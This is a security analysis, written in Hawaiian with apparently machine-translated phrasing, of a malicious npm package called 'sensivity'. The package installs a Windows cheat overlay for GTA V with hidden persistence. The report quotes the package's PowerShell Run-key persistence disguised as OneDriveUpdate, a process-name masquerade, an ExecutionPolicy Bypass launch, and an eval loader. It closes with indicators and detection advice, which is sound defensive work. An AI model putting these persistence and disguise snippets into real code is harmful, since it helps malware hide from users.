Aku; DR
ʻO ka pūʻolo npm ʻike naʻau wehewehe ʻo ia iā ia iho he "Sensivity Control Panel." Ma Windows hana ia ma ke ʻano he mea hoʻomalu mamao a me ka mea kiaʻi.
ʻO kona wahi komo, launcher.js, kapa hou i kāna kaʻina hana ponoʻī i Runtime Broker, kākau i kahi waiwai Run-key autostart i kapa ʻia OneDriveUpdate e hoʻokuʻu hou i ka pūʻolo ma o kahi VBScript huna, hoʻāla iā PowerShell me -ExecutionPolicy Bypass, a laila loiloi i kahi ukana kikowaena obfuscated 171 KB me kahi module maoli 6.87 MB, sens.node.
Hana ia i kahi papa mana hoʻohui kelepona ma ka TCP port 3000 a heluhelu i ka URL address-bar o ka polokalamu kele pūnaewele ma o Windows UIAutomation, e nānā ana i hoʻokahi wikiō YouTube i hoʻopaʻa ʻia.
ʻElua mau ʻāpana i heluhelu mua ʻia he mau pahu ʻeleʻele i kēia manawa ua hoʻoholo ʻia. ʻO ke kikowaena i hoʻopaʻa ʻia, server.obf.js, hoʻohana i kahi papahana string-array RC4 obfuscator.io; ke hoʻokō hou nei i kāna decoder ma waho pūnaewele (ʻaʻohe JavaScript i hoʻokō ʻia) hoʻihoʻi i kahi hopena waho hoʻokahi — https://izopi.com/check.php — me kahi kī lehulehu RSA i hoʻokomo ʻia i hoʻohana ʻia e hōʻoia i nā pane laikini i kau inoa ʻia.
ʻO ka modula ʻōiwi, sens.node, ʻaʻole i hoʻopili ʻia: ʻo kāna papa lawe mai a me nā kaula i hoʻokomo ʻia e ʻike iā ia he DirectX 11 / Dear ImGui in-game overlay e hāʻawi ana i nā hiʻohiʻona aimbot, ESP (wall-hack), a me nā hiʻohiʻona triggerbot, i hoʻokele ʻia e ka injection mamao a me nā heluhelu/kākau hoʻomanaʻo.
ʻO nā kaula i loko ona e pili ana i nā mea kaʻa a me nā wahi palapalaʻāina e kūlike me GTA V / FiveM. ʻO ka pūʻolo npm ka mea e hoʻopili ai i ka lawe ʻana a me ke kūpaʻa a puni kēlā modula kūloko.
He hana ka hōʻailona wehewehe, ʻaʻole loea: ua hoʻokuʻu aku kahi mea hoʻopuka inoa ʻole hoʻokahi ma kahi o kanahiku mau mana o hoʻokahi pūʻolo - 2.5.0 a i 2.5.69 — i loko o kekahi mau lā, e lawe ana kēlā me kēia i ka mea hoʻolele like.
ʻAʻohe hoʻouka ʻana hooksHolo wale ka ukana ke hoʻomaka ʻia ka pūʻolo.
Ka Hoʻouka: Pehea e Hana ai
Hoʻouna ʻo sensivity i nā faila he ʻumi. He kakaikahi ka package.json: ʻaʻohe kahua waihona, ʻaʻohe laikini, kahi inoa inoa nui a me ʻelua bin (sensivity, sens) e kuhikuhi ana iā launcher.js, a me kahi script hoʻomaka o ka node launcher.js. ʻAʻohe postinstall a preinstall paha. ʻAʻohe mea e hoʻā ma ka npm install. Holo ka hana i wehewehe ʻia ma lalo nei ke hoʻomaka ka mea hoʻohana i ka pūʻolo - ma o ka bin shim, ka script hoʻomaka, a i ʻole kahi koi.
Aia i loko o ka tarball ka mea hoʻomaka, kahi kikowaena i hoʻopaʻa ʻia, ka module kūloko, kahi palapala Visual Basic, a me kahi papa kuhikuhi lehulehu/pūnaewele no ka papa hoʻomalu. ʻO launcher.js ka orchestrator hiki ke heluhelu ʻia; ʻo ka logic koʻikoʻi i ka wā holo e noho ana i loko o nā blobs ʻelua āna e hoʻouka ai - kahi kikowaena i hoʻopaʻa ʻia a me kahi module kūloko i hōʻuluʻulu ʻia, ua hoʻoholo ʻia nā mea ʻelua ma lalo nei.
Kaʻina hana masquerade a me kahi mea hoʻonui OneDrive hoʻopunipuni
I ka hoʻomaka ʻana o ka hoʻokō ʻana, hoʻonohonoho ʻo launcher.js i kona inoa hana ponoʻī i ʻelua manawa:
javascript process.title = 'Runtime Broker'; He kaʻina hana Windows kūpono ʻo Runtime Broker (RuntimeBroker.exe) e hoʻoponopono ana i nā ʻae polokalamu. ʻO ka hoʻololi ʻana i ka inoa o kahi kaʻina hana Node e kūlike me ia, ʻo ia hoʻi ka nānā wikiwiki ʻana i ka Task Manager ʻaʻole ia e hōʻike i kahi mea ʻē.
Ua kākau ʻia ke kūpaʻa ma o PowerShell ma mua o kahi API hoʻopaʻa inoa pololei:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); ʻO OneDriveUpdate ka inoa o ka waiwai hoʻomaka aunoa, ʻaʻole ia e kuhikuhi pololei i ka pūʻolo. Kuhikuhi ia i ka wscript.exe e holo ana i ka OneDrive.Standalone.Updater.vbs i hoʻopili ʻia. Hoʻokuʻu hou kēlā palapala i ka node launcher.js i loko o kahi puka makani huna. ʻO ka inoa Run-key a me ka inoa faila VBScript e lawe ana i ka hōʻailona Microsoft, no laila ke heluhelu ʻia nei ke komo hoʻomaka aunoa ma ke ʻano he hana OneDrive maʻamau.
PowerShell me ke kāpae ʻana i nā kulekele hoʻokō
Hoʻopuka pinepine ka mea hoʻomaka i ka PowerShell. ʻO ka poho i hōʻailona ʻia e nā scanner he mea koʻikoʻi ka hoʻomaka ʻana o kahi .ps1 i hana ʻia me ke kulekele hoʻokō i hoʻopau ʻia:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Hoʻopau ʻo ExecutionPolicy Bypass i ka nānā ʻana i ke kau inoa ʻana o ka script kūloko no kēlā kāhea ʻana. Mālama nā script i hana ʻia i ka hana nānā polokalamu kele pūnaewele a me ka ʻike ʻana i ka puka makani i wehewehe ʻia ma ka ʻāpana aʻe.
ʻO ke kikowaena i hoʻopaʻa ʻia a me ka modula kūloko
Ma hope o ka hoʻonohonoho ʻana, hoʻouka a hoʻokō ʻo launcher.js i kāna ukana maoli:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));ʻO server.obf.js he 171 KB o _0x-array obfuscation - ke ʻano JavaScript kahi e pani ʻia ai kēlā me kēia kaula a me ka mea hōʻike e kahi papa kuhikuhi i loko o kahi pūʻulu i hoʻohuihui ʻia, a laila wehe ʻia i ka wā holo. ʻO ka hoʻolālā ka ʻano RC4 i hana ʻia e obfuscator.io: kahi hana decoder hoʻokahi base64-decodes i kahi komo pūʻulu a laila RC4-decrypts iā ia me kahi kī no kēlā me kēia kāhea. Ke hoʻokō hou nei i kēlā decoder i loko o kahi palapala ʻokoʻa - e holo wale ana i ka hoʻokō hou ʻana ma luna o ka pūʻulu kaula 821-entry i unuhi ʻia, ʻaʻole loa ka JavaScript ponoʻī o ka pūʻolo - wehe maʻemaʻe ia. He aha nā ʻili he haʻahaʻa akā decisive: hoʻokahi URL waho, https://izopi.com/check.php`, i hāʻawi ʻia i kahi LICENSE_URL mau; kahi RSA PUBLIC_KEY_PEM` i hoʻokomo ʻia; ke ala nei ka panela kūloko /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, a me /trigger/status; a me nā kaula child_process, crypto, a me [Sensivity] sens.node i hoʻouka ʻia - ʻo ka mea hope loa ka laina log pololei a ka mea hoʻomaka e kākau hou ai i ka module papahana i hoʻouka ʻia. ʻO ka hopena he nānā laikini: hoʻopuka ka mea kūʻai aku i kahi mea hōʻike (hoʻonohonoho ke kikowaena i hoʻopaʻa ʻia i kahi Discord ID: %s string) a hōʻoia ke kī RSA i ka pane i kau inoa ʻia e ke kikowaena.
ʻO sens.node kahi addon maoli i hōʻuluʻulu ʻia he 6.87 MB, a ʻaʻole ia i hoʻopaʻa ʻia - noho ka entropy ʻāpana ma 5.6-6.6 a ua paʻa nā papa hoʻokomo a hoʻokuʻu aku o PE, no laila hiki ke heluhelu pololei ʻia kona mau hiki. Hoʻokuʻu aku ia i ka napi_register_module_v1, ka standard ʻO ke kiko komo Node N-API, no laila e hoʻouka ka kikowaena eval'd iā ia me kahi koi maʻalahi. ʻO kāna papa lawe mai ka mea e haʻi. Mai KERNEL32 huki ia iā OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, a me Process32First/NextW - ka set canonical no ka ʻimi ʻana i kahi hana ʻē aʻe, ka hoʻokaʻawale ʻana i ka hoʻomanaʻo i loko, a me ka heluhelu ʻana a i ʻole ke kākau ʻana i kēlā hoʻomanaʻo. Mai USER32 huki ia iā GetAsyncKeyState, GetKeyState, mouse_event, a me SetCursorPos; hoʻopili ia iā d3d11.dll, D3DCOMPILER_43, a me dwmapi no kahi overlay ma ka pale, a me ka set WINHTTP piha no nā kelepona pūnaewele. ʻO kāna mau kaula i hoʻokomo ʻia e kapa i ka hiʻohiʻona hiʻona me ka ʻole o ka maopopo ʻole: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, a me ka hae Dear ImGui Dear ImGui 1.91.3 WIP. ʻO nā kaula wahi a me nā mea e like me Grapeseed Medical Clinic a me ka huaʻōlelo vehicle-ESP e kūlike me GTA V / FiveM.
He mea i manaʻo ʻia ka māhele ʻana: ʻo ka launcher.js hiki ke heluhelu ʻia e lawe wale i nā ʻāpana a ka scanner e heluhelu maʻalahi ai - ke kūpaʻa, ka masquerade, ke kāhea eval ponoʻī - ʻoiai ʻo ka obfuscation e hūnā i ka host waho hoʻokahi i nā pilina runtime, a ʻo ka binary e paʻa ana i ka logic game-overlay a me ke kaʻina hana-injection. ʻO ka launcher ka pūpū lahilahi a hiki ke hoʻolohe ʻia; hūnā ka kikowaena obfuscated i ka ʻike pūnaewele; ʻo ka module maoli ka payload. Hōʻike mākou i nā lawe mai a me nā kaula o ka binary e like me ka heluhelu ʻia; ʻaʻole mākou e kuhi i ke kumu o ka mea hana mai ia mau mea.
He papa hoʻokele hoʻohui kelepona ma ke awa 3000
Hoʻokele ka mea hoʻomaka i kahi kikowaena pūnaewele kūloko ma ka TCP port 3000 a mālama iā ia ma ke ʻano he singleton. Ke nīnau nei ia no kahi mea hoʻolohe e kū nei a holoi iā ia ma mua o ka hoʻopaʻa ʻana:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Hiki ke kiʻi ʻia ka panela ma http://localhost:3000, me kahi URL fallback LAN paʻa-coded o http://192.168.1.16:3000. Kūlike ka papa kuhikuhi lehulehu/ a me ke ʻano o ka panela me ke kahe QR-pairing: scan ke kelepona i kahi code a hoʻopaʻa i ka kikowaena ma ke ʻano he mamao. ʻAʻohe kikowaena kauoha-a-mana waho e ʻike ʻia ma ka kikokikona maopopo i ka mea hoʻomaka - akā, e like me ka hōʻike ʻana o ka deobfuscation ma luna, aia kekahi ma ke kikowaena obfuscated: ka hopena laikini izopi.com. He kūloko a me ka laulā LAN ka panela ponoʻī; ʻo ka kikowaena puka wale nō kēlā nānā laikini.
Mālama ke kumu hoʻohālike luna/limahana i ke kaʻina hana i ke ola. Hoʻopuka hou ka mea hoʻomaka iā ia iho me nā hae kaiapuni SENSIVITY_SUPERVISOR a me SENSIVITY_WORKER, holo malū kēlā me kēia keiki, no laila ʻo ka pepehi ʻana i hoʻokahi kaʻina hana e waiho i kahi ʻīlio kiaʻi e hoʻomaka hou.
Ka Nānā ʻana i ka Pūnaewele a me ka Hōʻailona YouTube
ʻO ke ʻano kikoʻī loa, ʻo ia ka nānā ʻana i ka polokalamu kele pūnaewele. kūkulu ʻo launcher.js i ka PowerShell e hoʻokele ana iā Windows UIAutomation e heluhelu i ka helu wahi o kahi polokalamu kele pūnaewele e holo ana:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', Hoʻihoʻi ʻo ValuePattern i ka ʻike kikokikona o kahi element UI. Hoʻopili ʻia i ka mana hoʻoponopono o ka helu wahi o ka polokalamu kele pūnaewele, hoʻihoʻi ia i ka URL a ka mea i hōʻeha ʻia e nānā nei - me ka ʻole o kahi hoʻonui polokalamu kele pūnaewele, me ka ʻole o ka hoʻopā ʻana i ka ʻaoʻao ma ka disk, a me ka ʻole o kahi makau API. Hoʻololi ka script i hana ʻia i kahi papa inoa $browserNames a unuhi i ka URL a i ʻole ka inoa puka makani o kekahi polokalamu kele pūnaewele ma mua.
Ua hoʻāʻo ʻia kēlā URL e kūʻē i hoʻokahi pahuhopu paʻakikī:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Hoʻoholo ka mea hoʻomaka i kahi loop ʻekolu kekona no kahi puka makani polokalamu kele pūnaewele e hōʻike ana iā YouTube, a lawe ka PowerShell i hana ʻia i kahi hui Get-YouTubeBrowser / Test-TargetYouTubeUrl e kūlike me kēlā ID wikiō. ʻElua ka hopena i ʻike ʻia: heluhelu ʻia ka URL kele pūnaewele hana mai ka pale o ka mea i hōʻeha ʻia, a ʻike ʻia ka launa pū ʻana o ka mea hoʻokipa me hoʻokahi wikiō YouTube kikoʻī. Hōʻike mākou i ke ʻano hana a me ka pahuhopu; ʻaʻole mākou e kuhi i kahi kumu mai iā lākou.
ʻO ka heluhelu ʻana o ka pā helu wahi ka mea a ka scanner e kapa ai he sensitive_data_enumeration — he kumu Process::env a me UIAutomation e hānai ana i kahi manawa holo pūnaewele. He ʻano maikaʻi ia i ka wā e kaʻawale ana a hoʻoholo wale ʻia i ka nānā ʻana ke huli ʻia ke kaʻina hana ʻikepili mai ke kumu UIAutomation a i ke kikowaena i hoʻopōʻino ʻia.
Ka Manawa a me ka Hoʻololi Mana
ʻAʻole he hoʻouka hoʻokahi wale nō ka sensivity. Loaʻa i ka moʻokāki hoʻopuka ma kahi o kanahiku mau mana i paʻi ʻia o kēia pūʻolo hoʻokahi, a ua hoʻomau ka hiki ʻana mai o nā mea hou i ka wā o ka puka loiloi. Hoʻonui ka mea hoʻomaka i nā hiʻohiʻona ma ka hiʻohiʻona ma ka laina 2.5.x ʻoiai e paʻa mau ana kona kūpaʻa a me ka hoʻouka ukana.
| Lā (UTC) | Nā mana i ʻike ʻia | Kūlana hoʻokuʻu |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Mea hoʻomaka panel QR kumu; Ke kūpaʻa ʻana o ke kī holo; loiloi o ke kikowaena i hoʻopaʻa ʻia. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Manamana lima like; kāohi ʻana i ke kaha kiʻi o ka console. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Hoʻohui i ka pahuhopu hoʻopili YouTube i hoʻopaʻa ʻia wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Hoʻopuka hou ʻana i ka hoʻopiha ʻana i ka hakahaka ma waena o ka laulā; ʻīlio kiaʻi luna/limahana. |
ʻO ka heluhelu ʻana i ka mea hoʻomaka ma waena o nā ʻelele i hoʻoiho ʻia - 2.5.0, 2.5.36, a me 2.5.69 - e hōʻike ana i ʻehā mau pae. Loaʻa i nā kūkulu mua loa ka mea hoʻomaka QR-pairing kumu. Mai 2.5.33 e ʻike ʻia ka mea hōʻiliʻili helu wahi UIAutomation. Mai 2.5.58 ua hoʻohui ʻia kahi papa hoʻokele luna. Mai 2.5.64 ua hoʻopau ka ʻīlio kiaʻi luna/limahana i hoʻokaʻawale ʻia i ka set. Ma loko o kēlā me kēia ʻaoʻao, ʻaʻole e loli nā mea ʻehā: ke kī OneDriveUpdate Run, ka mea hoʻokuʻu OneDrive.Standalone.Updater.vbs, ka eval'd server.obf.js, a me ka module sens.node native.
He mea koʻikoʻi ka nalu 2026-06-05 no ka mea ua hoʻopuka hou ia i nā helu mana haʻahaʻa - 2.5.0 a hiki i ka 2.5.15 - e noho ana ma lalo o nā mana i hōʻoia ʻia i nā lā ma mua. ʻO ka hopena he laina 2.5.x e pili ana ma ke kākau inoa, ʻo kēlā me kēia mana e lawe ana i ka mea hoʻolaha like.
Nā hōʻailona o ka ʻaelike
Ua heluhelu pololei ʻia nā ʻōkuhi a pau ma lalo nei mai ka pūʻolo tarball. Loaʻa i ka mea hoʻomaka heluhelu ka loopback a me kahi helu wahi LAN pilikino hoʻokahi; ua hoʻihoʻi ʻia ka inoa kikowaena waho hoʻokahi, ʻo izopi.com, ma ka wehe ʻana i ka server.obf.js ma waho pūnaewele.
| ʻAno | anakahi | Notes |
|---|---|---|
| pūʻolo | npm:sensivity (≈70 mau mana, 2.5.0-2.5.69) | Mea hoʻopuka pūʻolo hoʻokahi; ʻaʻohe waihona; laikini ʻole ʻia. |
| File | launcher.js | Mea hoʻonohonoho hiki ke heluhelu ʻia; pahuhopu nui a me ka bin. |
| File | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, i hoʻouka ʻia ma o eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | Hoʻohui ʻia ka PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Mea hoʻokuʻu hou i hūnā ʻia (node launcher.js). |
| Leakaʻaʻike | https://izopi.com/check.php | Ua loaʻa ka hopena laikini/ʻae mai ke kikowaena i hūnā ʻia; hōʻoia ka kī lehulehu RSA i hoʻokomo ʻia i nā pane. |
| Ka mana | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ka hoʻokomo hana mamao a me ka hiki ke heluhelu/kākau i ka hoʻomanaʻo. |
| Ka mana | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | ʻO ka overlay pāʻani DirectX 11 / ImGui e hoʻokō ana i nā hiʻohiʻona aimbot, ESP, a me triggerbot. |
| Kakau inoa | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Kuhikuhi ka waiwai hoʻomaka aunoa i wscript.exe a me ka mea hoʻomaka VBScript. |
| kaʻina | process.title = 'Runtime Broker' | Hoʻohālike e like me ke kaʻina hana Windows Runtime Broker kūpono. |
| ʻAlohelohe | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Hoʻohana ʻia ke kāpae ʻana i nā kulekele hoʻokō no nā palapala PowerShell i hana ʻia. |
| ʻAlohelohe | UIAutomation ValuePattern heluhelu ʻana o ka helu wahi o ka polokalamu kele pūnaewele | Heluhelu i ka URL o ka puka makani polokalamu kele pūnaewele mua. |
| ʻAlohelohe | ID wikiō i manaʻo ʻia wJWta2lO0Lw; balota YouTube 3-kekona | Hōʻailona nānā hoʻopili i hoʻopaʻa ʻia. |
| Leakaʻaʻike | http://localhost:3000, hoʻihoʻi http://192.168.1.16:3000 | Ua hōʻike ʻia ka papa mana hoʻohui QR ma kahi kūloko a ma ka LAN. |
| 'ia | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Nā hae hoʻonohonoho kaʻina hana kiaʻi kaʻawale. |
Ka Hoʻoili ʻAna, ka Hopena, a me nā Mea Pale
Ua paʻi ʻia ka pūʻolo e kahi moʻokāki npm hoʻokahi nona ka leka uila i ʻōlelo ʻia he helu wahi Gmail i hōʻoia ʻole ʻia. Loaʻa i ka moʻokāki kahi helu kaulana hoʻopaʻa inoa maikaʻi ʻole loa, mālama a hoʻopuka wale i kēia pūʻolo hoʻokahi, a ʻaʻohe waihona kumu i hoʻopili ʻia. ʻAʻole mākou i hōʻoia i ka nona o ka leka uila a hāʻawi mākou i ka hoʻolaha i ka moʻokāki mea hoʻopuka, ʻaʻole i kekahi kanaka i kapa ʻia. ʻAʻohe ʻōnaehana kikokikona maopopo o ka mea hoʻomaka, akā ua ʻike ʻia ka kikowaena waho hoʻokahi i kēia manawa: hoʻopili ka kikowaena obfuscated iā izopi.com no kahi nānā laikini, a ʻo ka module maoli - heluhelu ʻia mai kāna papa lawe mai a me nā kaula ma mua o ke kuhikuhi i hoʻohuli ʻia - he overlay pāʻani e hoʻokomo a heluhelu i ka hoʻomanaʻo o kahi kaʻina hana ʻē aʻe.
ʻO ka hopena i ʻike ʻia e hāʻule ana ma luna o nā mea hoʻohana Windows e hoʻokomo a holo i ka sensivity e manaʻo ana i kahi pono hana panela mana. Ma kēlā mau kikowaena, hoʻokumu ka pūʻolo i ka autostart persistence i hūnā ʻia e like me kahi hana OneDrive, hoʻololi hou iā ia iho e hoʻohālike i kahi kaʻina hana ʻōnaehana, heluhelu i ka URL o nā mea a ka mea hoʻohana e nānā nei, a kū i luna i kahi panela pairing e hoʻopaʻa ana i ka mīkini i kahi mamao ma luna o ka pūnaewele kūloko. ʻO ke ʻano o ka luna kiaʻi/limahana kiaʻi ʻaʻole ia e wehe i kahi pepehi kaʻina hana hoʻokahi; ola ke komo ʻana o Run-key i nā reboots. ʻAʻole i kuhikuhi ʻia ʻo macOS a me Linux e ka launcher - ʻo nā ala persistence, PowerShell, a me UIAutomation he Windows wale nō.
ʻO ka hoʻololi ʻana o nā mana he kanahiku ke ʻano e pono ai ke hōʻike ʻia. ʻO ka hoʻopuka hou ʻana i hoʻokahi pūʻolo i nā manawa he nui i loko o kekahi mau lā, me ka hoʻopiha hou ʻana i nā helu mana ma lalo o nā mea i lawe ʻia i lalo, mālama i kahi kope ola ma ke kākau inoa ma waena o nā wehe ʻana a hoʻonāukiuki i nā papa inoa poloka i hoʻopaʻa ʻia i ka mana. ʻAʻohe hana a kahi komo papa inoa poloka no sensivity@2.5.61 e kūʻē i ka sensivity@2.5.3 i hoʻopuka hou ʻia i ka lā aʻe.
Hiki i nā mea pale ke hana ma nā ʻano hana i lalo:
- E ālai pololei i ka ʻike o ka inoa pūʻolo ma nā papa inoa ʻae ʻia e ka registry-proxy a me CI. ʻO ka hoʻopili ʻana i nā mana pākahi e nalowale ana i ka cadence republish; ʻo ka inoa ka hōʻailona paʻa.
- E ʻimi i kahi waiwai Run i kapa ʻia ʻo OneDriveUpdate nona ka ʻikepili e kāhea ana iā wscript.exe e kūʻē i kahi .vbs ma ke ala no kēlā me kēia mea hoʻohana. ʻAʻole i hoʻopaʻa inoa ʻia ka mea hoʻohou OneDrive maoli ma kēia ʻano.
- ʻŌlelo aʻo ma kahi kaʻina hana Node.js nona ka process.title ʻo Runtime Broker. ʻO RuntimeBroker.exe ka mea kūʻai maoli, ʻaʻole he Node runtime.
- Hōʻailona i nā kiʻi manawa hoʻonohonoho npm o nā pūʻolo e hoʻouna ana i kahi .node addon i hōʻuluʻulu ʻia me kahi eval(fs.readFileSync(…)) o kahi faila kaikaina .obf.js. ʻO kēlā hui ʻana - opaque binary maoli i hoʻouka ʻia ma ka ʻaoʻao o kahi ukana kikokikona obfuscated - ʻo ia ka haʻi ʻana o ke ʻano ma aneʻi, kūʻokoʻa o kekahi string IOC.
- E mālama i kekahi mea hoʻolohe kūloko ma ka awa 3000 i hoʻokumu ʻia e kahi kaʻina hana Node i manaʻo ʻole ʻia e like me ka mea kānalua ma nā wahi hopena Windows i mālama ʻia.
- E ālai a hoʻomaopopo paha i nā noi i waho i izopi.com mai nā mea hoʻomohala a i ʻole nā mea hoʻokipa mea hoʻohana hope; ʻo ia wale nō ka hopena waho o ka pūʻolo, i hōʻea ʻia ma /check.php mai ke kikowaena i hoʻopaʻa ʻia.
- No kekahi addon .node i hoʻopili ʻia, e nānā i kāna papa lawe mai ma mua o ka hilinaʻi ʻana iā ia. ʻO ka hui pū ʻana o OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread he injection hana mamao me ka nānā ʻole i ka mea a ka pūʻolo e ʻōlelo nei e hana; eia ia e noho ana ma ka ʻaoʻao o kahi overlay Direct3D a me nā kaula aimbot/ESP/triggerbot.
No ka loiloi paʻa pipelines, he paʻa ke ʻano hoʻopaʻa manaʻo ma waena o ka churn mana: kahi ʻaoʻao hoʻonohonoho ʻole pūnaewele, kahi hāʻawi inoa-kaʻina hana i kahi inoa kaʻina hana ʻōnaehana i ʻike ʻia, kahi kākau Run-key ma o PowerShell, a me kahi loiloi o kahi faila i heluhelu ʻia mai ka disk. ʻAʻohe o ia mau mea e hilinaʻi ana i kahi kikowaena, kahi IP, a i ʻole kahi helu mana e hiki ai i ka hoʻopuka hou ʻana ke hoʻohuli aku.
E hoʻomaopopo '
[npm: ʻike] – ʻaoʻao hoʻopaʻa inoa no ka laina mana pūʻolo i kūkākūkā ʻia ma ʻaneʻi; hiki ke lawe ʻia.
